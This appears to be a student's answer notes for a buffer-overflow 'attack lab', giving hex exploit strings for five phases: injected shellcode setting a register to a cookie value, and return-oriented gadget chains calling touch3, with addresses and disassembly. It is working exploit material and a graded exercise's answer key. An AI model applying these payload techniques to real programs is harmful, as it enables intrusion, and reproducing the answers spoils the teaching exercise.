Phase 1:

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
52 18 40 00 00 00 00 00
```

Phase 2:

```
48 c7 c7 05 83 1e 38 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 1e 61 55 00 00 00 00
7e 18 40 00 00 00 00 00
```

Phase 3:

```
48 c7 c7 d0 1e 61 55 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 1e 61 55 00 00 00 00
52 19 40 00 00 00 00 00
33 38 31 65 38 33 30 35 00
```

Phase 4:

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 1a 40 00 00 00 00 00
05 83 1e 38 00 00 00 00
e1 19 40 00 00 00 00 00
7e 18 40 00 00 00 00 00
```

Phase 5:

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
```

```
79 1a 40 00 00 00 00 00   /* movq rsp, rax */
e1 19 40 00 00 00 00 00   /* movq rax, rdi */
00 1a 40 00 00 00 00 00   /* popq rax */
48 00 00 00 00 00 00 00   /* 0x48 away from string */
92 1a 40 00 00 00 00 00   /* movl eax, ecx */
5e 1a 40 00 00 00 00 00   /* movl ecx, edx */
57 1a 40 00 00 00 00 00   /* movl edx, esi */
1c 1a 40 00 00 00 00 00   /* lea (rdi, rsi, 1), rax */
e1 19 40 00 00 00 00 00   /* movq rax, rdi */
52 19 40 00 00 00 00 00   /* touch3 */
33 38 31 65 38 33 30 35 00   /* cookie */
```

Notes:

Cookie:
0x381e8305
05 83 1e 38

Getbuf:
%rsp: 0x55611ec0

Phase 2:
%rsp: 0x55611e88

Phase 3:

```
 0:   48 c7 c7 d0 1e 61 55    mov    $0x55611ed0,%rdi
   7:   c3                      retq
```

Phase 4:

```
0x401a00   popq %rax
0x4019e1  movq %rax %rdi
```